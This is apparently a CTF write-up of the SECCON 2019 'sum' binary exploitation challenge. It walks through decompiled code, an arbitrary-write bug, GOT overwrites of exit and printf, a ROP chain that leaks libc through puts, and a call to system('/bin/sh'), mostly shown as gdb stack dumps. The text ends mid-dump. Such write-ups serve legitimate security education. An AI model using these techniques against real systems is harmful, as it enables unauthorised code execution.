Seccon 2019 Quals Sum
Let's take a look at the binary and libc:
$ file sum_ccafa40ee6a5a675341787636292bf3c84d17264
sum_ccafa40ee6a5a675341787636292bf3c84d17264: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=593a57775caa3028bd2ab72873bedaa36734cdb6, not stripped
$ pwn checksec sum_ccafa40ee6a5a675341787636292bf3c84d17264
[*] '/home/guyinatuxedo/Desktop/seccon/sum/sum_ccafa40ee6a5a675341787636292bf3c84d17264'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
$ ./libc.so
GNU C Library (Ubuntu GLIBC 2.27-3ubuntu1) stable release version 2.27.
Copyright (C) 2018 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.
There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A
PARTICULAR PURPOSE.
Compiled by GNU CC version 7.3.0.
libc ABIs: UNIQUE IFUNC
For bug reporting instructions, please see:
<https://bugs.launchpad.net/ubuntu/+source/glibc/+bugs>.
$ ./sum_ccafa40ee6a5a675341787636292bf3c84d17264
[sum system]
Input numbers except for 0.
0 is interpreted as the end of sequence.
[Example]
2 3 4 0
1
5
0
6
$ ./sum_ccafa40ee6a5a675341787636292bf3c84d17264
[sum system]
Input numbers except for 0.
0 is interpreted as the end of sequence.
[Example]
2 3 4 0
1
5
6
9
8
7
Segmentation fault (core dumped)
So we can see that it is a 64
bit elf, with a stack canary, and non-executable stack. The binary appears to add numbers together. We input the numbers one at a time, and a 0
will end the sequence. If we input 6 digits, it crashes. Let's take a look under the hood.
Reversing
When we take a look at the main
function in ghidra, we see this:
undefined8 main(void)
{
ulong uVar1;
long in_FS_OFFSET;
undefined8 ints;
undefined8 local_40;
undefined8 local_38;
undefined8 local_30;
undefined8 local_28;
long *amnt;
long local_18;
long local_10;
local_10 = *(long *)(in_FS_OFFSET + 0x28);
ints = 0;
local_40 = 0;
local_38 = 0;
local_30 = 0;
local_28 = 0;
local_18 = 0;
amnt = &local_18;
puts("[sum system]\nInput numbers except for 0.\n0 is interpreted as the end of sequence.\n");
puts("[Example]\n2 3 4 0");
read_ints((long)&ints,5);
uVar1 = sum((long)&ints,amnt);
if (5 < (int)uVar1) {
/* WARNING: Subroutine does not return */
exit(-1);
}
printf("%llu\n",local_18);
if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return 0;
}
When we look at the main function, we see that it first establishes an int array ints
, that can hold 6 integers. The sixth integer in this array is amnt
, which is a pointer to the next integer on the stack, local_18
. First it prints out some text, then calls read_ints
:
void read_ints(long ints,long amnt)
{
int scanfCheck;
long in_FS_OFFSET;
long i;
long stackCanary;
stackCanary = *(long *)(in_FS_OFFSET + 0x28);
i = 0;
while (i <= amnt) {
scanfCheck = __isoc99_scanf(&DAT_00400a68,ints + i * 8,i * 8);
if (scanfCheck != 1) {
/* WARNING: Subroutine does not return */
exit(-1);
}
if (*(long *)(ints + i * 8) == 0) break;
i = i + 1;
}
if (stackCanary == *(long *)(in_FS_OFFSET + 0x28)) {
return;
}
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
So here we can see it will scan in integers into the array passed by it's first argument, until it either gets a 0
or it scans in amnt
+ 1 integers. Under the context it is called, it will scan in a maximum of 6
integers into the ints
array. Proceeding that it calls sum
, with the arguments being the ints
array and amnt
:
ulong sum(long ints,long *x)
{
long in_FS_OFFSET;
uint i;
long canary;
canary = *(long *)(in_FS_OFFSET + 0x28);
*x = 0;
i = 0;
while (*(long *)(ints + (long)(int)i * 8) != 0) {
*x = *(long *)(ints + (long)(int)i * 8) + *x;
i = i + 1;
}
if (canary != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return (ulong)i;
}
So we can see that it adds up all of the values in ints
, and stores them in x
. In the context that it is called, it will add up the six (or less) values stored in ints
, and store it in amnt
. In addition to that, there is an integer overflow bug here, since it doesn't check if the values it is adding together will cause an overflow. Since we control amnt
, we effectively have a write what where. The value returned is the number of numbers it added together. Looking at the rest of the main function, we see that if we gave it six numbers (thus causing the write what where bug), it will call exit
. If not it will call printf
and return from main.
Exploitation
So we have a write what where, with no relro or pie. The first problem is that right after our write, it will call exit
. This can be solved by just overwriting the got address of exit
(0x601048
) with the start of main
(0x400903
). That way when it calls exit
, it will just put us back at the start of main
. This will give us a loop where we get multiple qword writes.
Now the next hurdle is getting a libc infoleak. At this point, one of my team-mates mksrg gave me the idea to do a stack pivot. When we take a look at the stack layout when printf
is called (exit
will also have this), we see something interesting:
gef➤ b *0x4009bf
Breakpoint 1 at 0x4009bf
gef➤ r
Starting program: /home/guyinatuxedo/Desktop/sum/sum_ccafa40ee6a5a675341787636292bf3c84d17264
[sum system]
Input numbers except for 0.
0 is interpreted as the end of sequence.
[Example]
2 3 4 0
159
357
951
753
0
[ Legend: Modified register | Code | Heap | Stack | String ]
────────────────────────────────────────────────────────────────────────────────────── registers ────
$rax : 0x0
$rbx : 0x0
$rcx : 0x0
$rdx : 0x20
$rsp : 0x00007fffffffdee0 → 0x000000000000009f
$rbp : 0x00007fffffffdf20 → 0x00000000004009e0 → <__libc_csu_init+0> push r15
$rsi : 0x8ac
$rdi : 0x0000000000400ad5 → 0x0100000a756c6c25 ("%llu"?)
$rip : 0x00000000004009bf → <main+188> call 0x400620 <printf@plt>
$r8 : 0x0
$r9 : 0x0
$r10 : 0x00007ffff7b82cc0 → 0x0002000200020002
$r11 : 0x0000000000400a6c → add BYTE PTR [rax], al
$r12 : 0x0000000000400670 → <_start+0> xor ebp, ebp
$r13 : 0x00007fffffffe000 → 0x0000000000000001
$r14 : 0x0
$r15 : 0x0
$eflags: [zero CARRY PARITY ADJUST SIGN trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000
────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x00007fffffffdee0│+0x0000: 0x000000000000009f ← $rsp
0x00007fffffffdee8│+0x0008: 0x0000000000000165
0x00007fffffffdef0│+0x0010: 0x00000000000003b7
0x00007fffffffdef8│+0x0018: 0x00000000000002f1
0x00007fffffffdf00│+0x0020: 0x0000000000000000
0x00007fffffffdf08│+0x0028: 0x00007fffffffdf10 → 0x00000000000008ac
0x00007fffffffdf10│+0x0030: 0x00000000000008ac
0x00007fffffffdf18│+0x0038: 0x571694db34020d00
──────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
0x4009af <main+172> lock mov rsi, rax
0x4009b3 <main+176> lea rdi, [rip+0x11b] # 0x400ad5
0x4009ba <main+183> mov eax, 0x0
→ 0x4009bf <main+188> call 0x400620 <printf@plt>
↳ 0x400620 <printf@plt+0> jmp QWORD PTR [rip+0x200a02] # 0x601028
0x400626 <printf@plt+6> push 0x2
0x40062b <printf@plt+11> jmp 0x4005f0
0x400630 <alarm@plt+0> jmp QWORD PTR [rip+0x2009fa] # 0x601030
0x400636 <alarm@plt+6> push 0x3
0x40063b <alarm@plt+11> jmp 0x4005f0
──────────────────────────────────────────────────────────────────────────── arguments (guessed) ────
printf@plt (
$rdi = 0x0000000000400ad5 → 0x0100000a756c6c25 ("%llu"?),
$rsi = 0x00000000000008ac,
$rdx = 0x0000000000000020,
$rcx = 0x0000000000000000
)
──────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "sum_ccafa40ee6a", stopped, reason: BREAKPOINT
────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x4009bf → main()
─────────────────────────────────────────────────────────────────────────────────────────────────────
Breakpoint 1, 0x00000000004009bf in main ()
gef➤
So when printf
is called, the values on the stack are the numbers that we sent to be added up. Of course, when the call
instruction happens the return address (the instruction right after the call) will be pushed onto the stack. But after that on the stack, will be values we control. So if we were to overwrite the got address of printf
with a rop gadget like pop rdi; ret
, we can start roping.
To find out ROP gadget:
$ ROPgadget --binary sum_ccafa40ee6a5a675341787636292bf3c84d17264 | grep "pop rdi"
0x0000000000400a43 : pop rdi ; ret
Now for the rop chain itself, it will contain the following values:
0x00: popRdi Instruction
0x08: got address of puts
0x10: plt address of puts
0x18: 0x4009a7 (the `exit` call, so we will loop back to main)
0x20: "0" (to end the number sequence)
First off, remember that this chain is executed when printf
is called, after we overwrite the got address of printf with 0x400a43
. Now this is just a rop chain to give us a libc infoleak by using puts
to print the got address of puts
. When I first tried this, I ran into some issues where what I was doing was messing with some of the internals of puts/scanf. I played around with what I was calling, and where I was jumping, and after a little bit I got something that worked. Let's see this rop gadget in action:
First we hit printf:
───────────────────────────────────────────────────────────────────── stack ────
0x00007ffcc5e05900│+0x0000: 0x0000000000400a43 → <__libc_csu_init+99> pop rdi ← $rsp
0x00007ffcc5e05908│+0x0008: 0x0000000000601018 → 0x00007fc3902639c0 → <puts+0> push r13
0x00007ffcc5e05910│+0x0010: 0x0000000000400600 → <puts@plt+0> jmp QWORD PTR [rip+0x200a12] # 0x601018
0x00007ffcc5e05918│+0x0018: 0x00000000004009a7 → <main+164> call 0x400660 <exit@plt>
0x00007ffcc5e05920│+0x0020: 0x0000000000000000
0x00007ffcc5e05928│+0x0028: 0x00007ffcc5e05930 → 0x0000000001202a02
0x00007ffcc5e05930│+0x0030: 0x0000000001202a02
0x00007ffcc5e05938│+0x0038: 0x791fd3bfbdbc2c00
─────────────────────────────────────────────────────────────── code:x86:64 ────
0x4009af <main+172> lock mov rsi, rax
0x4009b3 <main+176> lea rdi, [rip+0x11b] # 0x400ad5
0x4009ba <main+183> mov eax, 0x0
→ 0x4009bf <main+188> call 0x400620 <printf@plt>
↳ 0x400620 <printf@plt+0> jmp QWORD PTR [rip+0x200a02] # 0x601028
0x400626 <printf@plt+6> push 0x2
0x40062b <printf@plt+11> jmp 0x4005f0
0x400630 <alarm@plt+0> jmp QWORD PTR [rip+0x2009fa] # 0x601030
0x400636 <alarm@plt+6> push 0x3
0x40063b <alarm@plt+11> jmp 0x4005f0
─────────────────────────────────────────────────────── arguments (guessed) ────
printf@plt (
$rdi = 0x0000000000400ad5 → 0x0100000a756c6c25 ("%llu"?),
$rsi = 0x0000000001202a02,
$rdx = 0x0000000000000020,
$rcx = 0x0000000000000000
)
─────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "sum_ccafa40ee6a", stopped, reason: BREAKPOINT
───────────────────────────────────────────────────────────────────── trace ────
[#0] 0x4009bf → main()
────────────────────────────────────────────────────────────────────────────────
Breakpoint 1, 0x00000000004009bf in main ()
gef➤
Then we have an iteration of the pop rdi; ret
instruction to rid ourselves of the return address pushed onto the stack by call
:
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x00007ffcc5e058f8│+0x0000: 0x00000000004009c4 → <main+193> mov eax, 0x0 ← $rsp
0x00007ffcc5e05900│+0x0008: 0x0000000000400a43 → <__libc_csu_init+99> pop rdi
0x00007ffcc5e05908│+0x0010: 0x0000000000601018 → 0x00007fc3902639c0 → <puts+0> push r13
0x00007ffcc5e05910│+0x0018: 0x0000000000400600 → <puts@plt+0> jmp QWORD PTR [rip+0x200a12] # 0x601018
0x00007ffcc5e05918│+0x0020: 0x00000000004009a7 → <main+164> call 0x400660 <exit@plt>
0x00007ffcc5e05920│+0x0028: 0x0000000000000000
0x00007ffcc5e05928│+0x0030: 0x00007ffcc5e05930 → 0x0000000001202a02
0x00007ffcc5e05930│+0x0038: 0x0000000001202a02
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
→ 0x400a43 <__libc_csu_init+99> pop rdi
0x400a44 <__libc_csu_init+100> ret
0x400a45 nop
0x400a46 nop WORD PTR cs:[rax+rax*1+0x0]
0x400a50 <__libc_csu_fini+0> repz ret
0x400a52 add BYTE PTR [rax], al
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "sum_ccafa40ee6a", stopped, reason: SINGLE STEP
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x400a43 → __libc_csu_init()
[#1] 0x400a43 → __libc_csu_init()
[#2] 0x400600 → jmp QWORD PTR [rip+0x200a12] # 0x601018
[#3] 0x7ffcc5e05930 → add ch, BYTE PTR [rdx]
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
0x0000000000400a43 in __libc_csu_init ()
gef➤
gef➤ s
Program received signal SIGALRM, Alarm clock.
[ Legend: Modified register | Code | Heap | Stack | String ]
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$rax : 0x0
$rbx : 0x0
$rcx : 0x0
$rdx : 0x20
$rsp : 0x00007ffcc5e05900 → 0x0000000000400a43 → <__libc_csu_init+99> pop rdi
$rbp : 0x00007ffcc5e05940 → 0x00007ffcc5e05990 → 0x00007ffcc5e059e0 → 0x00000000004009e0 → <__libc_csu_init+0> push r15
$rsi : 0x1202a02
$rdi : 0x00000000004009c4 → <main+193> mov eax, 0x0
$rip : 0x0000000000400a44 → <__libc_csu_init+100> ret
$r8 : 0x0
$r9 : 0x0
$r10 : 0x00007fc390381cc0 → 0x0002000200020002
$r11 : 0x0000000000400a6c → add BYTE PTR [rax], al
$r12 : 0x0000000000400670 → <_start+0> xor ebp, ebp
$r13 : 0x00007ffcc5e05ac0 → 0x0000000000000001
$r14 : 0x0
$r15 : 0x0
$eflags: [zero CARRY PARITY ADJUST SIGN trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x00007ffcc5e05900│+0x0000: 0x0000000000400a43 → <__libc_csu_init+99> pop rdi ← $rsp
0x00007ffcc5e05908│+0x0008: 0x0000000000601018 → 0x00007fc3902639c0 → <puts+0> push r13
0x00007ffcc5e05910│+0x0010: 0x0000000000400600 → <puts@plt+0> jmp QWORD PTR [rip+0x200a12] # 0x601018
0x00007ffcc5e05918│+0x0018: 0x00000000004009a7 → <main+164> call 0x400660 <exit@plt>
0x00007ffcc5e05920│+0x0020: 0x0000000000000000
0x00007ffcc5e05928│+0x0028: 0x00007ffcc5e05930 → 0x0000000001202a02
0x00007ffcc5e05930│+0x0030: 0x0000000001202a02
0x00007ffcc5e05938│+0x0038: 0x791fd3bfbdbc2c00
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
0x400a3e <__libc_csu_init+94> pop r13
0x400a40 <__libc_csu_init+96> pop r14
0x400a42 <__libc_csu_init+98> pop r15
→ 0x400a44 <__libc_csu_init+100> ret
↳ 0x400a43 <__libc_csu_init+99> pop rdi
0x400a44 <__libc_csu_init+100> ret
0x400a45 nop
0x400a46 nop WORD PTR cs:[rax+rax*1+0x0]
0x400a50 <__libc_csu_fini+0> repz ret
0x400a52 add BYTE PTR [rax], al
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "sum_ccafa40ee6a", stopped, reason: SINGLE STEP
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x400a44 → __libc_csu_init()
[#1] 0x400a43 → __libc_csu_init()
[#2] 0x400600 → jmp QWORD PTR [rip+0x200a12] # 0x601018
[#3] 0x7ffcc5e05930 → add ch, BYTE PTR [rdx]
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
0x0000000000400a44 in __libc_csu_init ()
gef➤ s
Next we execute the infoleak by popping the got address of puts into the rdi register:
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x00007ffcc5e05908│+0x0000: 0x0000000000601018 → 0x00007fc3902639c0 → <puts+0> push r13 ← $rsp
0x00007ffcc5e05910│+0x0008: 0x0000000000400600 → <puts@plt+0> jmp QWORD PTR [rip+0x200a12] # 0x601018
0x00007ffcc5e05918│+0x0010: 0x00000000004009a7 → <main+164> call 0x400660 <exit@plt>
0x00007ffcc5e05920│+0x0018: 0x0000000000000000
0x00007ffcc5e05928│+0x0020: 0x00007ffcc5e05930 → 0x0000000001202a02
0x00007ffcc5e05930│+0x0028: 0x0000000001202a02
0x00007ffcc5e05938│+0x0030: 0x791fd3bfbdbc2c00
0x00007ffcc5e05940│+0x0038: 0x00007ffcc5e05990 → 0x00007ffcc5e059e0 → 0x00000000004009e0 → <__libc_csu_init+0> push r15 ← $rbp
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
→ 0x400a43 <__libc_csu_init+99> pop rdi
0x400a44 <__libc_csu_init+100> ret
0x400a45 nop
0x400a46 nop WORD PTR cs:[rax+rax*1+0x0]
0x400a50 <__libc_csu_fini+0> repz ret
0x400a52 add BYTE PTR [rax], al
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "sum_ccafa40ee6a", stopped, reason: SINGLE STEP
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x400a43 → __libc_csu_init()
[#1] 0x400600 → jmp QWORD PTR [rip+0x200a12] # 0x601018
[#2] 0x7ffcc5e05930 → add ch, BYTE PTR [rdx]
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
0x0000000000400a43 in __libc_csu_init ()
gef➤ s
[ Legend: Modified register | Code | Heap | Stack | String ]
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$rax : 0x0
$rbx : 0x0
$rcx : 0x0
$rdx : 0x20
$rsp : 0x00007ffcc5e05910 → 0x0000000000400600 → <puts@plt+0> jmp QWORD PTR [rip+0x200a12] # 0x601018
$rbp : 0x00007ffcc5e05940 → 0x00007ffcc5e05990 → 0x00007ffcc5e059e0 → 0x00000000004009e0 → <__libc_csu_init+0> push r15
$rsi : 0x1202a02
$rdi : 0x0000000000601018 → 0x00007fc3902639c0 → <puts+0> push r13
$rip : 0x0000000000400a44 → <__libc_csu_init+100> ret
$r8 : 0x0
$r9 : 0x0
$r10 : 0x00007fc390381cc0 → 0x0002000200020002
$r11 : 0x0000000000400a6c → add BYTE PTR [rax], al
$r12 : 0x0000000000400670 → <_start+0> xor ebp, ebp
$r13 : 0x00007ffcc5e05ac0 → 0x0000000000000001
$r14 : 0x0
$r15 : 0x0
$eflags: [zero CARRY PARITY ADJUST SIGN trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x00007ffcc5e05910│+0x0000: 0x0000000000400600 → <puts@plt+0> jmp QWORD PTR [rip+0x200a12] # 0x601018 ← $rsp
0x00007ffcc5e05918│+0x0008: 0x00000000004009a7 → <main+164> call 0x400660 <exit@plt>
0x00007ffcc5e05920│+0x0010: 0x0000000000000000
0x00007ffcc5e05928│+0x0018: 0x00007ffcc5e05930 → 0x0000000001202a02
0x00007ffcc5e05930│+0x0020: 0x0000000001202a02
0x00007ffcc5e05938│+0x0028: 0x791fd3bfbdbc2c00
0x00007ffcc5e05940│+0x0030: 0x00007ffcc5e05990 → 0x00007ffcc5e059e0 → 0x00000000004009e0 → <__libc_csu_init+0> push r15 ← $rbp
0x00007ffcc5e05948│+0x0038: 0x00000000004009ac → <main+169> mov rax, QWORD PTR [rbp-0x10]
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
0x400a3e <__libc_csu_init+94> pop r13
0x400a40 <__libc_csu_init+96> pop r14
0x400a42 <__libc_csu_init+98> pop r15
→ 0x400a44 <__libc_csu_init+100> ret
↳ 0x400600 <puts@plt+0> jmp QWORD PTR [rip+0x200a12] # 0x601018
0x400606 <puts@plt+6> push 0x0
0x40060b <puts@plt+11> jmp 0x4005f0
0x400610 <__stack_chk_fail@plt+0> jmp QWORD PTR [rip+0x200a0a] # 0x601020
0x400616 <__stack_chk_fail@plt+6> push 0x1
0x40061b <__stack_chk_fail@plt+11> jmp 0x4005f0
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "sum_ccafa40ee6a", stopped, reason: SINGLE STEP
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x400a44 → __libc_csu_init()
[#1] 0x400600 → jmp QWORD PTR [rip+0x200a12] # 0x601018
[#2] 0x7ffcc5e05930 → add ch, BYTE PTR [rdx]
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
0x0000000000400a44 in __libc_csu_init ()
gef➤ x/g $rdi
0x601018: 0x7fc3902639c0
gef➤ x/5i 0x7fc3902639c0
0x7fc3902639c0 <puts>: push r13
0x7fc3902639c2 <puts+2>: push r12
0x7fc3902639c4 <puts+4>: mov r12,rdi
0x7fc3902639c7 <puts+7>: push rbp
0x7fc3902639c8 <puts+8>: push rbx
after that we call printf
:
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x00007ffcc5e05918│+0x0000: 0x00000000004009a7 → <main+164> call 0x400660 <exit@plt> ← $rsp
0x00007ffcc5e05920│+0x0008: 0x0000000000000000
0x00007ffcc5e05928│+0x0010: 0x00007ffcc5e05930 → 0x0000000001202a02
0x00007ffcc5e05930│+0x0018: 0x0000000001202a02
0x00007ffcc5e05938│+0x0020: 0x791fd3bfbdbc2c00
0x00007ffcc5e05940│+0x0028: 0x00007ffcc5e05990 → 0x00007ffcc5e059e0 → 0x00000000004009e0 → <__libc_csu_init+0> push r15 ← $rbp
0x00007ffcc5e05948│+0x0030: 0x00000000004009ac → <main+169> mov rax, QWORD PTR [rbp-0x10]
0x00007ffcc5e05950│+0x0038: 0x7fffffffffffffff
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
0x7fc3902639b2 <popen+130> jmp 0x7fc39026398d <popen+93>
0x7fc3902639b4 nop WORD PTR cs:[rax+rax*1+0x0]
0x7fc3902639be xchg ax, ax
→ 0x7fc3902639c0 <puts+0> push r13
0x7fc3902639c2 <puts+2> push r12
0x7fc3902639c4 <puts+4> mov r12, rdi
0x7fc3902639c7 <puts+7> push rbp
0x7fc3902639c8 <puts+8> push rbx
0x7fc3902639c9 <puts+9> sub rsp, 0x8
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "sum_ccafa40ee6a", stopped, reason: SINGLE STEP
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x7fc3902639c0 → puts()
[#1] 0x4009a7 → main()
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
0x00007fc3902639c0 in puts () from ./libc.so
gef➤ finish
Then we end up at exit
, which will bring us back to the start of main
:
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x00007ffcc5e05920│+0x0000: 0x0000000000000000 ← $rsp
0x00007ffcc5e05928│+0x0008: 0x00007ffcc5e05930 → 0x0000000001202a02
0x00007ffcc5e05930│+0x0010: 0x0000000001202a02
0x00007ffcc5e05938│+0x0018: 0x791fd3bfbdbc2c00
0x00007ffcc5e05940│+0x0020: 0x00007ffcc5e05990 → 0x00007ffcc5e059e0 → 0x00000000004009e0 → <__libc_csu_init+0> push r15 ← $rbp
0x00007ffcc5e05948│+0x0028: 0x00000000004009ac → <main+169> mov rax, QWORD PTR [rbp-0x10]
0x00007ffcc5e05950│+0x0030: 0x7fffffffffffffff
0x00007ffcc5e05958│+0x0038: 0x7fffffffff9fefd7
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
0x40099b <main+152> (bad)
0x40099c <main+153> inc DWORD PTR [rbx+0xa7e05f8]
0x4009a2 <main+159> mov edi, 0xffffffff
→ 0x4009a7 <main+164> call 0x400660 <exit@plt>
↳ 0x400660 <exit@plt+0> jmp QWORD PTR [rip+0x2009e2] # 0x601048
0x400666 <exit@plt+6> push 0x6
0x40066b <exit@plt+11> jmp 0x4005f0
0x400670 <_start+0> xor ebp, ebp
0x400672 <_start+2> mov r9, rdx
0x400675 <_start+5> pop rsi
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── arguments (guessed) ────
exit@plt (
$rdi = 0x0000000000000001,
$rsi = 0x00007fc3905cf7e3 → 0x5d08c0000000000a,
$rdx = 0x00007fc3905d08c0 → 0x0000000000000000,
$rcx = 0x00007fc3902f3154 → 0x5477fffff0003d48 ("H="?)
)
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "sum_ccafa40ee6a", stopped, reason: BREAKPOINT
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x4009a7 → main()
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
Breakpoint 2, 0x00000000004009a7 in main ()
gef➤
So now we have a libc infoleak, and a qword write. This is all we need to pwn the code. I initially tried doing a oneshot gadget got overwrite, however none of the conditions were met when it was executed. Then I just did another rop gadget using printf
again, to just pop the libc address of /bin/sh
(which we know thanks to the libc infoleak) into the rdi
register, and then return to system. Let's see the rop chain in action:
First we hit printf
again:
───────────────────────────────────────────────────────────────────── stack ────
0x00007ffd12150f20│+0x0000: 0x0000000000400a43 → <__libc_csu_init+99> pop rdi ← $rsp
0x00007ffd12150f28│+0x0008: 0x00007fab33599e9a → 0x0068732f6e69622f ("/bin/sh"?)
0x00007ffd12150f30│+0x0010: 0x00007fab33435440 → <system+0> test rdi, rdi
0x00007ffd12150f38│+0x0018: 0x0000000000000000
0x00007ffd12150f40│+0x0020: 0x0000000000000000
0x00007ffd12150f48│+0x0028: 0x00007ffd12150f50 → 0x0000ff5666dcfd1d
0x00007ffd12150f50│+0x0030: 0x0000ff5666dcfd1d
0x00007ffd12150f58│+0x0038: 0xc21062d171a89f00
─────────────────────────────────────────────────────────────── code:x86:64 ────
0x4009af <main+172> lock mov rsi, rax
0x4009b3 <main+176> lea rdi, [rip+0x11b] # 0x400ad5
0x4009ba <main+183> mov eax, 0x0
→ 0x4009bf <main+188> call 0x400620 <printf@plt>
↳ 0x400620 <printf@plt+0> jmp QWORD PTR [rip+0x200a02] # 0x601028
0x400626 <printf@plt+6> push 0x2
0x40062b <printf@plt+11> jmp 0x4005f0
0x400630 <alarm@plt+0> jmp QWORD PTR [rip+0x2009fa] # 0x601030
0x400636 <alarm@plt+6> push 0x3
0x40063b <alarm@plt+11> jmp 0x4005f0
─────────────────────────────────────────────────────── arguments (guessed) ────
printf@plt (
$rdi = 0x0000000000400ad5 → 0x0100000a756c6c25 ("%llu"?),
$rsi = 0x0000ff5666dcfd1d,
$rdx = 0x0000000000000018,
$rcx = 0x0000000000000000
)
─────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "sum_ccafa40ee6a", stopped, reason: BREAKPOINT
───────────────────────────────────────────────────────────────────── trace ────
[#0] 0x4009bf → main()
────────────────────────────────────────────────────────────────────────────────
Breakpoint 1, 0x00000000004009bf in main ()
gef➤
Then we have the pop rdi; ret
to rid ourselves of the return address:
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x00007ffd12150f18│+0x0000: 0x00000000004009c4 → <main+193> mov eax, 0x0 ← $rsp
0x00007ffd12150f20│+0x0008: 0x0000000000400a43 → <__libc_csu_init+99> pop rdi
0x00007ffd12150f28│+0x0010: 0x00007fab33599e9a → 0x0068732f6e69622f ("/bin/sh"?)
0x00007ffd12150f30│+0x0018: 0x00007fab33435440 → <system+0> test rdi, rdi
0x00007ffd12150f38│+0x0020: 0x0000000000000000
0x00007ffd12150f40│+0x0028: 0x0000000000000000
0x00007ffd12150f48│+0x0030: 0x00007ffd12150f50 → 0x0000ff5666dcfd1d
0x00007ffd12150f50│+0x0038: 0x0000ff5666dcfd1d
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
→ 0x400a43 <__libc_csu_init+99> pop rdi
0x400a44 <__libc_csu_init+100> ret
0x400a45 nop
0x400a46 nop WORD PTR cs:[rax+rax*1+0x0]
0x400a50 <__libc_csu_fini+0> repz ret
0x400a52 add BYTE PTR [rax], al
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "sum_ccafa40ee6a", stopped, reason: SINGLE STEP
